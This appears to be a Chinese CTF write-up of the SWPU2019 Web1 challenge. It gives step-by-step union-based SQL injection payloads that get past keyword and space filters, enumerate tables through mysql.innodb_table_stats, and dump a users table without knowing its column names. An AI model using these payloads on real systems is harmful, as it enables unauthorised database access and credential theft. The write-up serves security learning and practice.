[SWPU2019]Web1 1

知识点:sql联合注入(各种关键词的替换)

我们先注册,尝试以admin为用户名
在这里插入图片描述
提示已被注册,说明存在admin用户,但密码我没有爆破成功,还是老老实实的注册吧。(如果各位大佬成功了,望留言!!
在这里插入图片描述
注册个账号,进入里面唯一能够输入的就是广告位
**加粗样式**
有报错,且会过滤一些关键词,例如and,order by…空格也被过滤了。
在这里插入图片描述
空格我们可以用/**/来代替,order by可以用group by来代替,注释符可以用’来闭合。

当我们查列名23会报错

-1'/**/group/**/by/**/23,'abc

说明列数为22列,下面要查哪些列会回显。
在这里插入图片描述
查看回显列

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'abc

在这里插入图片描述
可以看一下数据库版本

-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'abc

在这里插入图片描述
___________________________________________________________________

接下来就要爆破了。

爆库,库名web1

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

___________________________________________________________________

爆表:
且information_schema.tables被过滤
有两种方法绕过

mysql.innodb_table_stats
sys.schema_auto_increment_columns
1'/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

在这里插入图片描述
___________________________________________________________________

爆列时,显示column_name为未知列,咋办呢,看了其他大佬的wp,说要无列名爆值。

group_concat(column_name)

无列名爆值

普通的sq查询
select * from users

查询表,并把列名替换为123.456
select 1,2,3,4,5 ,6union select * from users

单独把第四列提出来,(select 1,2,3,4,5,6 union select * from users)a给查询结果命名
 select `4` from (select 1,2,3,4,5,6 union select * from users)a;

若反引号被过滤,可以这样
select b from (select 1,2,3 as b,4,5 union select * from users)a;

所以这题payload:
这边是group_concat(b)是因为有可能有列名相同

-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 

参考:
https://www.bilibili.com/video/av97418004
https://www.jianshu.com/p/dc9af4ca2d06
https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值